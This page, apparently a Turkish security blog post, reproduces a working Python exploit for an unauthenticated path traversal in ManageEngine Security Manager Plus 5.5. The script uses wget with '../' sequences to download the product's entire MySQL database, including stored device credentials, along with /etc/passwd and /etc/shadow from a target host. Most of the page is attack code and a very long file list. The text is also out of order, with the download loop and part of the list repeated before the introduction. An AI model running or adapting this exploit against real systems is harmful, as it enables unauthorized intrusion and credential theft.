‘NEInterface.frm’, ‘Integral_Template_Vars.frm’, ‘ACDropDown.frm’, ‘MouseInfo.frm’, ‘OperationAuditRecord.frm’, ‘Cr_Row_Task_Template.frm’, ‘Inner_Join_Tables.frm’, ‘DeviceGroup.frm’, ‘Forward.frm’, ‘ResourceDeviceMapper.frm’, ‘ACAjaxForm.frm’, ‘I18nVersionMessage.frm’, ‘Location.frm’, ‘Str_Const_Opr_Expr.frm’, ‘Resources_PIDX.frm’, ‘AntiVirusInfo.frm’, ‘UnavailableHosts.frm’, ‘TestCaseVulnerability.frm’, ‘AaaPamConf.frm’, ‘ReportMailSettings.frm’, ‘BeanProperties.frm’, ‘MSComment.frm’, ‘Pattern_To_Str_Expr.frm’, ‘ObjectIdentifierColumns.frm’, ‘ACDropDownParams.frm’, ‘AuditTableConfig.frm’, ‘OfficeDeploymentPolicy.frm’, ‘ScanInputs.frm’, ‘ACAjaxOptions.frm’, ‘FileChanges.frm’, ‘TableViewSortColumn.frm’, ‘Bool_Decimal_Dataobj_Expr.frm’, ‘I18nCreatedBy.frm’, ‘Time_Expr_To_Time.frm’, ‘ACEmailAddress.frm’, ‘PMMSServicePackInfo.frm’, ‘ScanRange.frm’, ‘Print_Task_Relvar.frm’, ‘ProfileMonitorMap.frm’, ‘Print_Task.frm’, ‘String_Expressions.frm’, ‘AaaDisableAuth.frm’, ‘PatchGroupResourceMap.frm’, ‘db.opt’, ‘DeviceSPStatusAuditInfo.frm’, ‘ACIntegerConstant.frm’, ‘AddressGroupHosts.frm’, ‘TaskEngine_Task.frm’, ‘ACTemplateHandler.frm’, ‘InventoryService.frm’, ‘StatusUpdateCriteria.frm’, ‘SelectColumn.frm’, ‘CVEDetail.frm’, ‘RemReportConf.frm’, ‘Parent_Class_Expr.frm’, ‘Relvars_To_Tables.frm’, ‘DeviceToGroup.frm’, ‘SoftwareList.frm’, ‘ProxyConfiguration.frm’, ‘Boolean_Expressions.frm’, ‘PatchSeverityImage.frm’, ‘DeviceGroupTaskInput.frm’, ‘ApplicationVulnerability.frm’, ‘MSPMInstallSequence.frm’, ‘SQinTreeQuery.frm’, ‘PMAlternateLocation.frm’, ‘MSFileChange.frm’, ‘Quantifier_Operator.frm’, ‘Time_Variables.frm’, ‘AlarmStateHolder.frm’, ‘WMITestCaseExpression.frm’, ‘DiscoveryJobs.frm’, ‘AaaOrgContactUser.frm’, ‘Udef_Char_Cls_Const.frm’, ‘ResourceDisplayMapper.frm’, ‘AddressGroupResources.frm’, ‘Task_Templates.frm’, ‘Time_DataObj_Vars.frm’, ‘MSProduct.frm’, ‘Integral_Expressions.frm’, ‘ACFtpDetails.frm’, ‘PackageStoreLocation.frm’, ‘ThemeAttributesMapping.frm’, ‘Out_Template_Vars.frm’, ‘RegkeyCheckDetail.frm’, ‘ACInstantFeedBack.frm’, ‘Integral_DataObj_Vars.frm’, ‘Composite.frm’, ‘AaaOrgContactInfo.frm’, ‘Statements.frm’, ‘MenuItem.frm’, ‘Num_Expr_Opr_Expr.frm’, ‘PMPatchLocationExtn.frm’, ‘Bool_Exists_Var.frm’, ‘ServicePackStoreLocation.frm’, ‘DeviceToPackageStatus.frm’, ‘ACMailConfig.frm’, ‘ScanTicNotification.frm’, ‘Bool_Neg_Expr.frm’, ‘MSMapping.frm’, ‘ReportRiskFilter.frm’, ‘TCServiceDependency.frm’, ‘Decimal_Template_Vars.frm’, ‘Attachment.frm’, ‘PMRegkeyCheckDetail.frm’, ‘AaaImpliedTableColumn.frm’, ‘TreeIdentifierColumns.frm’, ‘PatchStoreConfiguration.frm’, ‘ScanPortGroup.frm’, ‘NVaxApplication.frm’, ‘Bean.frm’, ‘Trans_Closure_Weights.frm’, ‘PMFileCheckDetail.frm’, ‘JoinColumns.frm’, ‘Iterat_Task_Template.frm’, ‘Discovery.frm’, ‘RangeValues.frm’, ‘OperatingSystem.frm’, ‘Email_Attachments.frm’, ‘Service.frm’, ‘DBAdapter.frm’, ‘PMProductFamily.frm’, ‘NotificationCriteria.frm’, ‘Pattern_To_Char_Expr.frm’, ‘AaaGenderHonorific.frm’, ‘Action.frm’, ‘ACRelationalCriteria.frm’, ‘PgSQLErrorCode.frm’, ‘PMPatchLocation.frm’, ‘Custom_Bool_Expr.frm’, ‘AaaTableAccessSPI.frm’, ‘AaaImpliedPermission.frm’, ‘Resources.frm’, ‘Patch.frm’, ‘MultiMediaInfo.frm’, ‘MSSupercededBy.frm’, ‘TableTemplateFiles.frm’, ‘SNMPCommunity.frm’, ‘PrinterInfo.frm’, ‘OSDisplayDetails.frm’, ‘UVHValues.frm’, ‘PatchGroupToAddressGroupMap.frm’, ‘TCsAfterPatchDetection.frm’, ‘Boolean_Reg_Expr.frm’, ‘Task_Instances.frm’, ‘DeviceProtocol.frm’, ‘AaaUserProfile.frm’, ‘ScanCompNotification.frm’, ‘Bool_Const_Comp_Str.frm’, ‘ServiceProperties.frm’, ‘TreeDefinition.frm’, ‘Bool_Set_Comp_Var.frm’, ‘Int_Expr_Opr_Expr.frm’, ‘TiledView.frm’, ‘Quantifier.frm’, ‘ResourceCompNotification.frm’, ‘TemplateViewParams.frm’, ‘ScanPMTaskMapper.frm’, ‘AaaRoleToCategory.frm’, ‘MsSQLErrorCode.frm’, ‘WMITestCaseCommands.frm’, ‘FalsePositiveVulns.frm’, ‘MSQNumber.frm’, ‘DiscoveryToResourceMapping.frm’, ‘AaaAccountStatus.frm’, ‘Time_Agg_Vars.frm’, ‘ACCVTabParentConfig.frm’, ‘AaaPasswordProfile.frm’, ‘ReportCategoryFilter.frm’,
 ‘Quantifier_Range.frm’, ‘AaaUserPostalAddr.frm’, ‘CustomHandler.frm’, ‘FileBaseline.frm’, ‘AuditConfig.frm’, ‘ResourceVulnerabilityDetails.frm’, ‘AaaAccAdminProfile.frm’, ‘PMSPLocation.frm’, ‘Trans_Closure_Operator.frm’, ‘ResourceTicNotification.frm’, ‘Bool_Str_Comp_Const.frm’, ‘Bool_Expr_With_Terms.frm’, ‘Java_Api.frm’, ‘SortColumn.frm’, ‘AaaTrustedRole.frm’, ‘C_Task_Apis.frm’, ‘PatchToGroup.frm’, ‘ScanStatus.frm’, ‘Calendar_Periodicity.frm’, ‘PhysicalDriveInfo.frm’, ‘AaaAccUserProfile.frm’, ‘ACGroupByColumns.frm’, ‘SoundCardInfo.frm’, ‘AuditConfigProperty.frm’, ‘ReportSeverityFilter.frm’, ‘ScanJobResources.frm’, ‘Str_Expr_Opr_Const.frm’, ‘Views.frm’, ‘ACUserPreference.frm’, ‘Trans_Closure_Weight_Expr.frm’, ‘PackageList.frm’, ‘I18nCurrUserLocale.frm’, ‘AaaPasswordStatus.frm’, ‘UpdateDeleteRows.frm’, ‘Calendar.frm’, ‘AaaSimplePermission.frm’, ‘CrackedSNMPCommunity.frm’, ‘DataObj_Var_Columns.frm’, ‘MSSeverity.frm’, ‘ACRendererConfiguration.frm’, ‘ACTableColumns.frm’, ‘PortInfo.frm’, ‘ExeReportConf.frm’, ‘Class_Expr_Opr_Expr.frm’, ‘Concat_Task_List.frm’, ‘AaaImpliedRole.frm’, ‘Expressions_PIDX.frm’, ‘RiskFactor.frm’, ‘ResourceCred.frm’, ‘TestCaseHTTPDir.frm’, ‘CustomViewConfiguration.frm’, ‘CredentialDescription.frm’, ‘RemoteTCExpression.frm’, ‘RepairReport.frm’, ‘Bool_Expr_Comp_Expr.frm’, ‘PatchTaskInput.frm’, ‘MSSupercededPatch.frm’, ‘ACClientEncProps.frm’, ‘I18nLocale.frm’, ‘ConfFileToModule.frm’, ‘Decimal_Expressions.frm’, ‘Print_Task_Expr.frm’, ‘Workflow_Unit.frm’, ‘ResourceApplication.frm’, ‘Email_Task.frm’, ‘VulnerabilityScan.frm’, ‘ACGridLayoutConfig.frm’, ‘AaaPassword.frm’, ‘AaaRoleOwner.frm’, ‘ACPSConfigList.frm’, ‘Del_Row_Task_Template.frm’, ‘AaaUser.frm’, ‘RebootPolicy.frm’, ‘TreeQueryIdentifierColumns.frm’, ‘WindowsServices.frm’, ‘ACFilter.frm’, ‘PatchStoreAuditInfo.frm’, ‘SB_Applications.frm’, ‘OperationType.frm’, ‘LatestResourceScanStatus.frm’, ‘MSPMFileChange.frm’, ‘LatestAGScans.frm’, ‘RegistryBaseline.frm’, ‘BookMark.frm’, ‘TmpViewColumn.frm’, ‘Char_Class_Expr.frm’, ‘WorkFlow_Type.frm’, ‘ScanVulnerabilityDetails.frm’, ‘ScanHosts.frm’]

for blah in dbFiles:
        print "[*] Downloading file: " + blah
        os.system("wget -q http://%s:6262/store?f=../mysql/data/securitymanager/%s -O %s" % (rhost, blah, blah))

os.system("wget http://%s:6262/store?f=../../../../../etc/passwd -O passwd" % rhost)
os.system("wget http://%s:6262/store?f=../../../../../etc/shadow -O shadow" % rhost)

ManageEngine Security Manager Plus <= 5.5 build 5505 Path Traversal

ManageEngine Security Manager Plus <= 5.5 build 5505 Path Traversal açığı bulunmuş olup açıkla ilgili python exploit aşağıdadır. Görüldüğü üzere bir takım tosyalar çekilebilmekte /etc/passwd, /etc/shadow/ dosyaları okunabilmektedir.

#!/usr/bin/python
#+——————————————————————————————————————————–+
# Exploit Title     : Security Manager Plus <= 5.5 build 5505 Path Traversal (Win+Linux)
# Date              : 18-10-2012
# Author            : xistence (xistence<[AT]>0x90.nl)
# Software link     : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.exe (Win)
# Software link     : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.zip (Linux)
# Vendor site       : http://www.manageengine.com/
# Version           : 5.5 build 5505 and lower
# Tested on         : CentOS 5.x + Windows XP/2008
#
# Vulnerability     : The Path Traversal is possible on the "store" url, without any authentication. This allows us to download the complete
#                     database and thus gather windows/linux logins which are used for patching the servers. It will also download the
#                     passwd and shadow files as Security Manager Plus runs with root/SYSTEM privileges. Modify it to make it work on windows,
#                     and grab SAM files or other files. NOTE: At least one patch must have been downloaded in Security Manager Plus already.
#
# Fix:
# 1. Go to SMP server system and stop SMP service.
# 2. Download the SMP_Vul_fix.zip file from : http://bonitas.zohocorp.com/4264259/scanfi/31May2012/SMP_Vul_fix.zip
# 3. Extract the downloaded file which contains four files : AdvPMServer.jar, AdvPMClient.jar, scanfi.jar and AdventNetPMUnixAgent.jar
# 3. Copy the extracted .jar files to <SMP-HOME>\lib directory (e.g., C:\AdventNet\SecurityManager\lib). [Overwrite the existing jar files and do not rename them]
# 4. Start the SMP service.
#+——————————————————————————————————————————–+

import os, sys

if (len(sys.argv) != 2):
    print ""
    print "[*] Security Manager Plus Path Traversal Exploit – xistence (xistence<[at]>0x90.nl) – 2012-05-29"
    print ""
    print "[*] Usage: secman-path.py <RHOST>"
    print "[*] I.e.:  ./secman-path.py www.manageengine.com"
    print "[*]"
    print "[*] RHOST = Remote Host which runs Security Manager Plus"
    print ""
    print ""
    exit(0)

rhost = sys.argv[1]


dbFiles = [‘StatusPropagateCriteria.frm’, ‘UserPatchComment.frm’, ‘I18nLanguageCountry.frm’, ‘Udef_Class_Range.frm’, ‘AaaUserContactInfo.frm’, ‘JoinTable.frm’, ‘GlobalCredential.frm’, ‘PMWinOS.frm’, ‘SysDetails.frm’, ‘AaaRole.frm’, ‘Time_Expressions.frm’, ‘DCSupportedApplications.frm’, ‘ACSQLString.frm’, ‘DeviceInventoryItems.frm’, ‘ACFeedBackProperties.frm’, ‘AaaPasswordHint.frm’, ‘AllowedValues.frm’, ‘Integral_Agg_Vars.frm’, ‘ACCountSQLString.frm’, ‘AaaServicePasswordRule.frm’, ‘ACCacheConfig.frm’, ‘AaaOrgDetail.frm’, ‘Array_List.frm’, ‘ViewCustomizer.frm’, ‘DeviceAuditInfo.frm’, ‘AaaAccountOwner.frm’, ‘DeviceToServicePack.frm’, ‘MSPMDependencyServicePack.frm’, ‘NENetwork.frm’, ‘ACUserFilterGroup.frm’, ‘WeeklyVulnID.frm’, ‘RegistryChanges.frm’, ‘PMPatchType.frm’, ‘NetworkTopology.frm’, ‘VulnerabilityScanDetails.frm’, ‘AaaAccSessionProp.frm’, ‘Int_Expr_To_Int.frm’, ‘JoinRelCriteria.frm’, ‘AaaModuleService.frm’, ‘ClientServiceProviders.frm’, ‘PCIQuery.frm’, ‘Upd_Row_Task_Template.frm’, ‘JoinCriteria.frm’, ‘LinuxAppGroup.frm’, ‘Start_End_Count.frm’, ‘OpenPorts.frm’, ‘DevicePatchTaskInput.frm’, ‘Free5IPs.frm’, ‘Int_DataObj_Expr.frm’, ‘Pattern_Variables.frm’, ‘DevicePatchStatusAuditInfo.frm’, ‘Email_Message.frm’, ‘TestReport.frm’, ‘ACLink.frm’, ‘Decimal_DataObj_Vars.frm’, ‘IPInterfaceNetwork.frm’, ‘ACUserClientState.frm’, ‘ScanPolicy.frm’, ‘OfficeMediaLocation.frm’, ‘ServicePackStoreAuditInfo.frm’, ‘PMScanVulDetails.frm’, ‘Iter_DataObj_Task.frm’, ‘PatchGroup.frm’, ‘Bool_Str_Dataobj_Expr.frm’, ‘OracleErrorCode.frm’, ‘SystemInfo.frm’, ‘Upd_DataObj_Var_Task.frm’, ‘BulletinDatastore.frm’, ‘SmtpConfiguration.frm’, ‘AaaOrgUser.frm’, ‘PMScheduledTaskDetails.frm’, ‘AaaOrgPostalAddr.frm’, ‘User_Def_Char_Class.frm’, ‘FileHandler.frm’, ‘AaaService.frm’, ‘ACAjaxFormOption.frm’, ‘ScheduleScanTaskInput.frm’, ‘ColumnDetails.frm’, ‘Boolean_Variables.frm’, ‘ACElement.frm’, ‘ACViewToGroupMapping.frm’, ‘DeviceToPatch.frm’, ‘Int_Const_Opr_Expr.frm’, ‘AaaPamModuleOption.frm’, ‘GroupVulnerabilities.frm’, ‘Pattern_Expressions.frm’, ‘GroupCompNotification.frm’, ‘MSCommand.frm’, ‘ACContextHelp.frm’, ‘Rules_To_Statements.frm’, ‘String_Matcher_Group.frm’, ‘DeviceToMSSoftware.frm’, ‘Task_Owner.frm’, ‘AaaMethodParams.frm’, ‘IPv4Address.frm’, ‘I18nLocalMsg.frm’, ‘Theme.frm’, ‘Repair.frm’, ‘Num_Const_Opr_Expr.frm’, ‘ACParams.frm’, ‘AaaTableUpdatePermission.frm’, ‘PatchDetectionCheck.frm’, ‘Templates_To_Relvars.frm’, ‘WindowsUsers.frm’, ‘MSRegChg.frm’, ‘NetworkDomainInfo.frm’, ‘ActiveDirectoryInfo.frm’, ‘Udef_Expr_Opr_Expr.frm’, ‘ScheduledReports.frm’, ‘UpdateDefinition.frm’, ‘GroupTicNotification.frm’, ‘ResourceFalsePositiveVulns.frm’, ‘FolderChanges.frm’, ‘WebViewConfig.frm’, ‘PMOfficeEditionType.frm’, ‘ACClientProps.frm’, ‘ACFilterConfigList.frm’, ‘EPMTaskInput.frm’, ‘AdditionalViewParams.frm’, ‘Quotation.frm’, ‘Str_Expr_To_Str.frm’, ‘bla.py’, ‘Network.frm’, ‘WindowsGroups.frm’, ‘ACTableFilterListRel.frm’, ‘PMTaskDetails.frm’, ‘LatestResourceScans.frm’, ‘Loop_Task_Template.frm’, ‘YSeriesColumn.frm’, ‘AaaAccOldPassword.frm’, ‘ConstituentTable.frm’, ‘FalsePositiveTestCase.frm’, ‘AaaOrganization.frm’, ‘PatchStoreLocation.frm’, ‘Print_Log_RelVars.frm’, ‘DeviceTaskInput.frm’, ‘PdfViewConfig.frm’, ‘Rules.frm’, ‘ProductDetectionCheck.frm’, ‘TreeQuery.frm’, ‘WebUIComponent.frm’, ‘AaaAce.frm’, ‘Pointers_In_Path.frm’, ‘NetworkDnsInfo.frm’, ‘LinuxPackageDependency.frm’, ‘UserNamePassword.frm’, ‘ManagedResource.frm’, ‘ProfileGroupMap.frm’, ‘ScanAddressGroup.frm’, ‘Default_Task_Conf.frm’, ‘AaaAccBadLoginStatus.frm’, ‘Pattern_Template_Vars.frm’, ‘PatchApplicableDetails.frm’, ‘NEComponent.frm’, ‘FKColumnDefinition.frm’, ‘Str_Deriv_Int_Vars.frm’, ‘Par_Char_Class_Expr.frm’, ‘Bool_Num_Comp_Decimal.frm’, ‘PatchDependencyCheck.frm’, ‘Logger.frm’, ‘Email_CC_Address.frm’, ‘MSAffectedServicePack.frm’, ‘AaaUserStatus.frm’, ‘DownloadFiles.frm’, ‘AuditSeverityLevel.frm’, ‘JavaScriptAction.frm’, ‘HTTPDirList.frm’, ‘AaaOrgStatus.frm’, ‘Templates.frm’, ‘OSLanguage.frm’, ‘TablesInTree.frm’, ‘TestCasePattern.frm’, ‘ValidationFiles.frm’, ‘ReverseDNSEntries.frm’, ‘CC_Address.frm’, ‘PortGroup.frm’, ‘DeviceConfigTaskInput.frm’, ‘Time_Operator_Delta.frm’, ‘AuditLevel.frm’, ‘AdventNetErrorCode.frm’, ‘AaaUserTwoFactorDetails.frm’, ‘PMSystemConfig.frm’, ‘TableDSMap.frm’, ‘DeviceToInventory.frm’, ‘PatchDetails.frm’, ‘VulnerabilityReference.frm’, ‘AaaLogin.frm’, ‘ModuleContext.frm’, ‘AuditResultProperty.frm’, ‘MSFile.frm’, ‘PatchGroupTaskInput.frm’, ‘Handler.frm’, ‘Numeric_Expressions.frm’, ‘Module.frm’, ‘DeviceConfigAuditInfo.frm’, ‘Cr_DataObj_Task.frm’, ‘PersonalizedViewMap.frm’, ‘ACPageLengthConfig.frm’, ‘ResourceScanStatus.frm’, ‘Decimal_Variables.frm’, ‘AaaAccSession.frm’, ‘PersonalityConfiguration.frm’, ‘Bool_Str_Comp_Str.frm’, ‘MemoryInfo.frm’, ‘AaaPasswordRule.frm’, ‘Workflow_Templates.frm’, ‘String_DataObj_Vars.frm’, ‘DefaultTheme.frm’, ‘FolderBaseline.frm’, ‘RemoteCommands.frm’, ‘IPv6Address.frm’, ‘AaaRoleCategory.frm’, ‘Ext_Task_Api_Loc.frm’, ‘ModeSpecificServiceProviders.frm’, ‘TestCaseCGIScript.frm’, ‘SystemTemplateHandler.frm’, ‘I18nCurrentVersion.frm’, ‘Expressions.frm’, ‘MSRegKey.frm’, ‘DeviceConfig.frm’, ‘Inner_Join.frm’, ‘Address.frm’, ‘UsbInfo.frm’, ‘IPNetwork.frm’, ‘DiscoveredDomains.frm’, ‘ResourceRegValues.frm’, ‘Projection_Operator.frm’, ‘Udef_Char_Cls_Expr.frm’, ‘Integral_Variables.frm’, ‘To_Address.frm’, ‘Decimal_Obj_Expr.frm’, ‘Numeric_Rank_Vars.frm’, ‘ServerDetails.frm’, ‘WF_Task_Variables.frm’, ‘AuditRecord.frm’, ‘Menu.frm’, ‘UserPreferences.frm’, ‘OmitForScan.frm’, ‘ConfFile.frm’, ‘ProfileResourceMap.frm’, ‘AaaUserConfigRecord.frm’, ‘Pattern_DataObj_Vars.frm’, ‘Concat_Task_Template.frm’, ‘DeviceInfo.frm’, ‘MSPatch.frm’, ‘Bool_Num_Comp_Const.frm’, ‘Template_Constants.frm’, ‘While_Loop_Tasks.frm’, ‘Task_Input.frm’, ‘SelectTable.frm’, ‘MSServicePack.frm’, ‘Workflow_Instances.frm’, ‘WorkEngine_Config.frm’, ‘SingleTestCaseExecutor.frm’, ‘PMScheduledJob.frm’, ‘ACTabChildConfig.frm’, ‘NewLinuxAdvisory.frm’, ‘AaaAuthorizedRole.frm’, ‘Instances.frm’, ‘Subject_Keys.frm’, ‘Boundary_Matchers.frm’, ‘AaaPamModule.frm’, ‘AuditResourceProp.frm’, ‘WMITestCasePattern.frm’, ‘IndexDefinition.frm’, ‘Views_PIDX.frm’, ‘Selection_Operator.frm’, ‘CmdFilesToPush.frm’, ‘PKDefinition.frm’, ‘PMSPPushCounter.frm’, ‘ServiceBanner.frm’, ‘AaaAccHttpSession.frm’, ‘AaaTablePermission.frm’, ‘AllowedPattern.frm’, ‘LinuxExtPackage.frm’, ‘Workflow_Statements.frm’, ‘UniqueKeyDefinition.frm’, ‘Working_Hours.frm’, ‘DeviceToPackageList.frm’, ‘Architecture.frm’, ‘PMDeviceToSPInfo.frm’, ‘ChangeMonitorTasks.frm’, ‘AaaTableReadPermission.frm’, ‘NegateResult.frm’, ‘ViewConfiguration.frm’, ‘CustomViewServiceProviders.frm’, ‘Decimal_Agg_Vars.frm’, ‘KeyboardInfo.frm’, ‘Time_Template_Vars.frm’, ‘Task_Conf.frm’, ‘PMEntryPerPage.frm’, ‘DriveInfo.frm’, ‘Vulnerability.frm’, ‘Criteria.frm’, ‘AffectedProduct.frm’, ‘TestCaseCommands.frm’, ‘Reg_Expr_Split_List.frm’, ‘ACPSConfiguration.frm’, ‘Relations_In_Path.frm’, ‘FileCheckDetail.frm’, ‘PortGroupRange.frm’, ‘DeviceToPatchStatus.frm’, ‘AaaAccSessionAudit.frm’, ‘SeverityNode.frm’, ‘Message_Keys.frm’, ‘Decimal_DataObj_Expr.frm’, ‘ACElementAttr.frm’, ‘ProcessorInfo.frm’, ‘Template_Variables.frm’, ‘Relations.frm’, ‘AaaEnvironmentEntry.frm’, ‘AaaAccOwnerProfile.frm’, ‘AaaPostalAddress.frm’, ‘NewPatchInfo.frm’, ‘Replace_Reg_Expr_Str.frm’, ‘ACJSOption.frm’, ‘Int_Obj_Expr.frm’, ‘Mail_Server.frm’, ‘TestCaseHTTPURLCheck.frm’, ‘TestCase.frm’, ‘SelectSQLString.frm’, ‘NetworkElement.frm’, ‘AaaImpliedByTableColumn.frm’, ‘IPInterface.frm’, ‘PMMessage.frm’, ‘Update_Index_Vars.frm’, ‘UINavigationConfig.frm’, ‘Workflow_Unit_PIDX.frm’, ‘VulnerabilityCategory.frm’, ‘String_Template_Vars.frm’, ‘DataSource.frm’, ‘PMSPLocationExtn.frm’, ‘ConstraintDefinition.frm’, ‘Fk_Paths.frm’, ‘TemplateFiles.frm’, ‘I18nUserTranslatorMap.frm’, ‘Boolean_Template_Vars.frm’, ‘ACFilterConfig.frm’, ‘TmpViewCriteria.frm’, ‘Rename_Operator.frm’, ‘PdfUIComponent.frm’, ‘Str_Expr_Opr_Expr.frm’, ‘Error_Data.frm’, ‘ACFilterGroup.frm’, ‘MSFileChg.frm’, ‘MSBulletinComment.frm’, ‘Scheduled_Task.frm’, ‘ScheduledScan.frm’, ‘Schedule.frm’, ‘Boolean_Constants.frm’, ‘ReportTemplate.frm’, ‘ACCriteria.frm’, ‘DominantTableConfig.frm’, ‘AuditNotifyCriteria.frm’, ‘BulkTestCases.frm’, ‘PMTaskScanMapper.frm’, ‘Attachment_Input.frm’, ‘I18nPublicLocalMsg.frm’, ‘Pre_Def_Char_Class.frm’, ‘I18nVersion.frm’, ‘DeviceInventoryTypes.frm’, ‘Configuration.frm’, ‘MSRegChange.frm’, ‘SelectQuery.frm’, ‘LinuxPatchDependency.frm’, ‘AAARadiusConfig.frm’, ‘Num_Decimal_Opr_Expr.frm’, ‘DiscoveredHosts.frm’, ‘Str_DataObj_Expr.frm’, ‘Instance_Data.frm’, ‘ACTableViewConfig.frm’, ‘LinuxCheckDetail.frm’, ‘OpenViewInContentArea.frm’, ‘CiscoTestCasePattern.frm’, ‘Group_Templates.frm’, ‘Bool_Num_Dataobj_Expr.frm’, ‘ResourceWMITestResults.frm’, ‘MemoryModuleInfo.frm’, ‘ServiceVulnerability.frm’, ‘MSBulletin.frm’, ‘Num_Expr_Opr_Decimal.frm’, ‘Boolean_DataObj_Vars.frm’, ‘ACTableLayoutChildConfig.frm’, ‘Bool_Expr_Terms.frm’, ‘DefService.frm’, ‘AIPLocation.frm’, ‘ACNavigationConfiguration.frm’, ‘Tasks_To_Exceptions.frm’, ‘MSSupercededBulletin.frm’, ‘ViewConfiguration_PIDX.frm’, ‘I18nTranslator.frm’, ‘Proj_Opr_Output.frm’, ‘PortGroupPorts.frm’, ‘ResourceSch.frm’, ‘PatchDeployDependency.frm’, ‘DataObj_Variables.frm’, ‘Product.frm’, ‘UIComponent_PIDX.frm’, ‘Time_Constants.frm’, ‘Update_Template_Vars.frm’, ‘BulkTestCaseExecutor.frm’, ‘AddressGroupRange.frm’, ‘VulnerabilityGroup.frm’, ‘Commit_DataObj_Task.frm’, ‘MSAvailableSP.frm’, ‘ReportServiceFilter.frm’, ‘NEInterfaceDetails.frm’, ‘ResourceSoftwareList.frm’, ‘ACGridLayoutChildConfig.frm’, ‘Str_Obj_Expr.frm’, ‘ChartProperty.frm’, ‘FKDefinition.frm’, ‘AaaContactInfo.frm’, ‘ACLinkParams.frm’, ‘ACPanelElement.frm’, ‘Int_Expr_Opr_Const.frm’, ‘Bool_Composed_Expr.frm’, ‘TableDetails.frm’, ‘DeviceRebootStatus.frm’, ‘ReportType.frm’, ‘Bool_Time_Comp_Time.frm’, ‘AxisColumn.frm’, ‘AdvisoryPatchDependency.frm’, ‘TmpColumnRenderer.frm’, ‘ResourceConfiguration.frm’, ‘AaaAccount.frm’, ‘Out_Var_Instances.frm’, ‘MSPMRegChange.frm’, ‘DeviceToScanInfo.frm’, ‘RelationalCriteria.frm’, ‘ChartPropKey.frm’, ‘MSProductFamily.frm’, ‘TypeMatchCriteria.frm’, ‘Message_Templates.frm’, ‘LatestCompletedAGScans.frm’, ‘Checks.frm’, ‘I18nMessage.frm’, ‘WebMenuItem.frm’, ‘ACFormConfig.frm’, ‘Iter_Table_Task.frm’, ‘DeviceOfficeEditionType.frm’, ‘ScheduledTask_Retry.frm’, ‘Integral_Row_Count.frm’, ‘Bulletin.frm’, ‘ViewDataTableMapping.frm’, ‘MenuAndMenuItem.frm’, ‘PMPatchEXTNMaster.frm’, ‘FeatureParams.frm’, ‘Template_Data.frm’, ‘Workflow_Task.frm’, ‘Bool_Time_Comp_Const.frm’, ‘Workflow_Template_Task.frm’, ‘Print_Log_Expr.frm’, ‘AaaMethodPermission.frm’, ‘Num_Expr_Opr_Const.frm’, ‘SeqGenState.frm’, ‘ScanJobMapper.frm’, ‘ServerStatus.frm’, ‘DeviceCredential.frm’, ‘Relvars_To_Views.frm’, ‘Group_Count.frm’, ‘TCRegistryValueCheck.frm’, ‘PMDeviceToPatch.frm’, ‘DeviceGlobalCredential.frm’, ‘Default_Task_Input.frm’, ‘MSPatchComment.frm’, ‘ServerServiceProviders.frm’, ‘Inner_Join_Attribs.frm’, ‘ThreadPool.frm’, ‘Print_Log.frm’, ‘AaaPermission.frm’, ‘ScanInputsForDisplay.frm’, ‘ACFunctionColumns.frm’, ‘LinuxAdvisory.frm’, ‘MySQLErrorCode.frm’, ‘Exceptions.frm’, ‘SystemUserComment.frm’, ‘String_List.frm’, ‘NetworkInfo.frm’, ‘DeviceToLinuxOS.frm’, ‘AssetGroupCred.frm’, ‘MonitorInfo.frm’, ‘Fk_Pointers.frm’, ‘ACStringConstant.frm’, ‘MSProductFamilyDetail.frm’, ‘String_Variables.frm’, ‘CrackedUserNamePassword.frm’, ‘Coll_Iterat_Template.frm’, ‘TmpViewDetails.frm’, ‘AaaAccPassword.frm’, ‘HardDiskInfo.frm’, ‘ACColumnConfiguration.frm’, ‘Relvars.frm’, ‘ChartPropertySet.frm’, ‘Periodic.frm’, ‘LinuxPatch.frm’, ‘Email_Task_Input.frm’, ‘ServicePackTaskInput.frm’, ‘Resource_Location.frm’, ‘MSSQLCheckQuery.frm’, ‘TCHTTPFileGrep.frm’, ‘Email_To_Address.frm’, ‘AaaUserProperty.frm’, ‘ScanVulnGroup.frm’, ‘UIComponent.frm’, ‘InventoryHardware.frm’, ‘ACFilterList.frm’, ‘Schedule_View.frm’, ‘ManagedStateHolder.frm’, ‘Paths.frm’, ‘WmiErrorCode.frm’, ‘Trans_Closure_Attributes.frm’, ‘PMScanInfo.frm’, ‘SPDeployDependency.frm’, ‘AuditOperProperty.frm’, ‘Simple_Class_Expr.frm’, ‘ChartViewConfig.frm’, ‘Decimal_Expr_To_Dc.frm’, ‘AuditUserProperty.frm’, ‘BeanInterceptor.frm’, ‘DeviceRebootPending.frm’, ‘DataObj_Var_Tables.frm’, ‘MonitorProfiles.frm’, ‘AddressGroup.frm’, ‘PMPatchPushCounter.frm’, ‘ACColumnConfigurationList.frm’, ‘Pointer_Fk_Attributes.frm’, ‘MSSoftwareCheck.frm’, ‘Schedule_Audit.frm’, ‘NEInterface.frm’, ‘Integral_Template_Vars.frm’, ‘ACDropDown.frm’, ‘MouseInfo.frm’, ‘OperationAuditRecord.frm’, ‘Cr_Row_Task_Template.frm’, ‘Inner_Join_Tables.frm’, ‘DeviceGroup.frm’, ‘Forward.frm’, ‘ResourceDeviceMapper.frm’, ‘ACAjaxForm.frm’, ‘I18nVersionMessage.frm’, ‘Location.frm’, ‘Str_Const_Opr_Expr.frm’, ‘Resources_PIDX.frm’, ‘AntiVirusInfo.frm’, ‘UnavailableHosts.frm’, ‘TestCaseVulnerability.frm’, ‘AaaPamConf.frm’, ‘ReportMailSettings.frm’, ‘BeanProperties.frm’, ‘MSComment.frm’, ‘Pattern_To_Str_Expr.frm’, ‘ObjectIdentifierColumns.frm’, ‘ACDropDownParams.frm’, ‘AuditTableConfig.frm’, ‘OfficeDeploymentPolicy.frm’, ‘ScanInputs.frm’, ‘ACAjaxOptions.frm’, ‘FileChanges.frm’, ‘TableViewSortColumn.frm’, ‘Bool_Decimal_Dataobj_Expr.frm’, ‘I18nCreatedBy.frm’, ‘Time_Expr_To_Time.frm’, ‘ACEmailAddress.frm’, ‘PMMSServicePackInfo.frm’, ‘ScanRange.frm’, ‘Print_Task_Relvar.frm’, ‘ProfileMonitorMap.frm’, ‘Print_Task.frm’, ‘String_Expressions.frm’, ‘AaaDisableAuth.frm’, ‘PatchGroupResourceMap.frm’, ‘db.opt’, ‘DeviceSPStatusAuditInfo.frm’, ‘ACIntegerConstant.frm’, ‘AddressGroupHosts.frm’, ‘TaskEngine_Task.frm’, 